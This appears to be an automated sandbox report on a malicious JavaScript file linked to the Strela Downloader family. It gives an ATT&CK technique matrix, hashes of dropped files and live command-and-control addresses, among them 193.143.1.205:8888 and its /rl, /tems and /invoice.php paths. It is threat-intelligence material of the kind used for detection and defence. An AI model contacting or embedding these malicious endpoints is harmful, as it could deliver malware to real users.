Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
125141699249677575.js	5%	Virustotal		Browse
125141699249677575.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/rl	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tems	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3330215787.0000020E98C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2088283375.0000020E98A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2111463399.000002966A056000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111400218.000002966A028000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2094070973.000002966A080000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2105047086.000002966A056000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/rl	net.exe, 00000007.00000002.2111463399.000002966A056000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2105047086.000002966A056000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tems	net.exe, 00000007.00000002.2111400218.000002966A028000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587920
Start date and time:	2025-01-10 19:25:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	125141699249677575.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.6.155.20, 3.233.129.217, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.16.168.105, 2.16.168.125, 2.16.168.107, 20.109.210.53, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:26:24	API Interceptor	20x Sleep call for process: powershell.exe modified
13:26:27	API Interceptor	2x Sleep call for process: svchost.exe modified
13:26:28	API Interceptor	1x Sleep call for process: net.exe modified
13:26:40	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307228718420114
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugL:gJjJGtpTq2yv1AuNZRY3diu8iBVqFB
MD5:	4242C81F7C27BB3831C0358E37C0CA72
SHA1:	02F77ABB9442926B6F147D4508FCCD77C6007BF3
SHA-256:	F633EB7DEA6880112F9466EC675FE3242087D28EC9FB77B1B11293834E93AB46
SHA-512:	435DC91B8D18E2BE5122F653EB559ED82B67EFDCF88A936F0EE71716A78671C91012468EFB31FC01BB7C1B96E209E75C3C99BE7AFD54E0E0F103B1D2330584D0
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd331a043, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585908786663566
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	B7EB740B7BAB99E18B7C02385F36F5AA
SHA1:	FE9E85CAA726D5C6964344D9A9ED7F267799CD8C
SHA-256:	6D440F9CA1AF32A01F032EB509C4FCBCFE68DEFAE60F4E71C7E31C8EE1178E24
SHA-512:	3124178F31F9A2D12EC6924FAD9862DE2CFD214A32AD758FC54276E27B4C8BC6D1F396E0C8FAAFD30A47E94487EDB4898E327EB9575FE3013FBEC68EE467464B
Malicious:	false
Preview:	.1.C... ...............X\...;...{......................0.z..........{.......}9.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..........................................}Y..................>.......}Y..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114471156264216
Encrypted:	false
SSDEEP:	3:NFl/yYeJ/9kAkGuAJkhvekl1dUcg/illrekGltll/SPj:XtyzJ/0rxlEcg/GJe3l
MD5:	014640A786006E5E15DCEC3017F8CF04
SHA1:	A6A21A7BBF619EBD79559CECBE7E5090BF31B06C
SHA-256:	1C14D4E193F0889A77E71214585D8CA184D24A880FDEDBE23D9B9B8C7140C60B
SHA-512:	5EC110F35EBC71019B79F3612BB633858989D9930546C37214F26CE3760FA34B03E7A0B487E98573419E2AB4A20F25204E54A74898EF3A24AED21581AD8E784D
Malicious:	false
Preview:	g..i.....................................;...{.......}Y......{...............{.......{...XL......{...................>.......}Y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.177662194387098
Encrypted:	false
SSDEEP:	6:iO49aDM+q2P92nKuAl9OmbnIFUtS9MFWpgZmws9MFWpDMVkwO92nKuAl9OmbjLJ:7gyM+v4HAahFUtaM4m/kM4pMV5LHAaSJ
MD5:	5E7634A129E7CA1C89CC3D4157FF7B0A
SHA1:	E974304CF56EF0B3F3AF1B4403A3F21E6F6CFC7C
SHA-256:	1354F89B0858F1ED57F3650BFB5AFA84D130A1568D2976ADF58ECDB06E447F89
SHA-512:	FB2FF7249C9E1E5610FD8F8EF5DC7B0C6E331159818544C3E0CEC18EB83CA91C6440236B53D155CF62D001D026F7A1C93021419F0F1C20BFE5BF33B05121C4FE
Malicious:	false
Preview:	2025/01/10-13:26:27.604 5fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:26:27.610 5fc Recovering log #3.2025/01/10-13:26:27.610 5fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.177662194387098
Encrypted:	false
SSDEEP:	6:iO49aDM+q2P92nKuAl9OmbnIFUtS9MFWpgZmws9MFWpDMVkwO92nKuAl9OmbjLJ:7gyM+v4HAahFUtaM4m/kM4pMV5LHAaSJ
MD5:	5E7634A129E7CA1C89CC3D4157FF7B0A
SHA1:	E974304CF56EF0B3F3AF1B4403A3F21E6F6CFC7C
SHA-256:	1354F89B0858F1ED57F3650BFB5AFA84D130A1568D2976ADF58ECDB06E447F89
SHA-512:	FB2FF7249C9E1E5610FD8F8EF5DC7B0C6E331159818544C3E0CEC18EB83CA91C6440236B53D155CF62D001D026F7A1C93021419F0F1C20BFE5BF33B05121C4FE
Malicious:	false
Preview:	2025/01/10-13:26:27.604 5fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:26:27.610 5fc Recovering log #3.2025/01/10-13:26:27.610 5fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.184056771624933
Encrypted:	false
SSDEEP:	6:iO49jLq2P92nKuAl9Ombzo2jMGIFUtS9tuZmws9fG6kwO92nKuAl9Ombzo2jMmLJ:7g/v4HAa8uFUtatu/kf95LHAa8RJ
MD5:	47E27E94C212818A7FC2B9521A136446
SHA1:	34949793AAB8CEDA26BA0EBED1A3D0CB97B5DF1B
SHA-256:	B20058CBA3A34ADE2474F924D97146242CF0404FF98559F7C4FA50007B83988F
SHA-512:	F72E10C4873EFF903F1934F137A04780055453802C8233AC4A62C6DE7E841DA3D284089A1D3BE18E1F11EF06A532438C06493D3ACF41E7C949B5107C9354D9BB
Malicious:	false
Preview:	2025/01/10-13:26:27.686 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:26:27.688 1c70 Recovering log #3.2025/01/10-13:26:27.689 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.184056771624933
Encrypted:	false
SSDEEP:	6:iO49jLq2P92nKuAl9Ombzo2jMGIFUtS9tuZmws9fG6kwO92nKuAl9Ombzo2jMmLJ:7g/v4HAa8uFUtatu/kf95LHAa8RJ
MD5:	47E27E94C212818A7FC2B9521A136446
SHA1:	34949793AAB8CEDA26BA0EBED1A3D0CB97B5DF1B
SHA-256:	B20058CBA3A34ADE2474F924D97146242CF0404FF98559F7C4FA50007B83988F
SHA-512:	F72E10C4873EFF903F1934F137A04780055453802C8233AC4A62C6DE7E841DA3D284089A1D3BE18E1F11EF06A532438C06493D3ACF41E7C949B5107C9354D9BB
Malicious:	false
Preview:	2025/01/10-13:26:27.686 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:26:27.688 1c70 Recovering log #3.2025/01/10-13:26:27.689 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\544ef301-5bf8-41b8-a904-8361d70d4af2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.048909195899668
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzeSsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdsFXdMHy3QYhbxP7nbI+
MD5:	634E0EDF899ADA0EC5759DAD43769DAE
SHA1:	267825C5637CB20F7F9F97E73A6152EFDC4A3702
SHA-256:	A2A46DC32B6DBDD8FCA936F7E7F6BF2B845C1085C6166366D2AD489D5B3EA5A6
SHA-512:	3190A7C06CA663A792C2ACD7F674D9194592511A66419D508272E148584A844F835217092C69706543CEB16EFAF042E6B97D1009EA9D58E979AE79A347D17783
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093600101139","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140866},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.048909195899668
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzeSsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdsFXdMHy3QYhbxP7nbI+
MD5:	634E0EDF899ADA0EC5759DAD43769DAE
SHA1:	267825C5637CB20F7F9F97E73A6152EFDC4A3702
SHA-256:	A2A46DC32B6DBDD8FCA936F7E7F6BF2B845C1085C6166366D2AD489D5B3EA5A6
SHA-512:	3190A7C06CA663A792C2ACD7F674D9194592511A66419D508272E148584A844F835217092C69706543CEB16EFAF042E6B97D1009EA9D58E979AE79A347D17783
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093600101139","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140866},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23322980207015
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU+/GqF6:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLS
MD5:	1E3934488C6DEAF191B45ABC030D4C03
SHA1:	3F4A2D1C7D0646A21B121A6A861906002FFC572F
SHA-256:	E8A46BF03979437183CEB360BA60A292C5E791865B15C20415DD851E0A573626
SHA-512:	2D921BC707519B7F4BB9279C6056A2FCA1EE345F99F7842FFFC0B64BE0205B8F605131773C952D83E27C1495CEC4B8DB948CAA445A41B075EB5740EA3A7DECBE
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177994608215689
Encrypted:	false
SSDEEP:	6:iO49IVq2P92nKuAl9OmbzNMxIFUtS9oZmws9OuGyzkwO92nKuAl9OmbzNMFLJ:7gIv4HAa8jFUtao/kOJyz5LHAa84J
MD5:	C3B636BC121034911C0B99BA8945CA22
SHA1:	017BE499ECA289B3B9065C29685C7F5005D87DB1
SHA-256:	6F92FA0E0E6F91C889B47E1A72918D9C35786B0828150421992C64BEF52AE592
SHA-512:	5A1BC519E52DCE4F71C5FFBF2723634707905E62E57530219E3B4B6ABAD11EBCD29051829F948DADCE5008E79ABA0EC485CE1F5EA5976B0D6AF4770F8005FCE9
Malicious:	false
Preview:	2025/01/10-13:26:27.823 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:26:27.824 1c70 Recovering log #3.2025/01/10-13:26:27.825 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177994608215689
Encrypted:	false
SSDEEP:	6:iO49IVq2P92nKuAl9OmbzNMxIFUtS9oZmws9OuGyzkwO92nKuAl9OmbzNMFLJ:7gIv4HAa8jFUtao/kOJyz5LHAa84J
MD5:	C3B636BC121034911C0B99BA8945CA22
SHA1:	017BE499ECA289B3B9065C29685C7F5005D87DB1
SHA-256:	6F92FA0E0E6F91C889B47E1A72918D9C35786B0828150421992C64BEF52AE592
SHA-512:	5A1BC519E52DCE4F71C5FFBF2723634707905E62E57530219E3B4B6ABAD11EBCD29051829F948DADCE5008E79ABA0EC485CE1F5EA5976B0D6AF4770F8005FCE9
Malicious:	false
Preview:	2025/01/10-13:26:27.823 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:26:27.824 1c70 Recovering log #3.2025/01/10-13:26:27.825 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
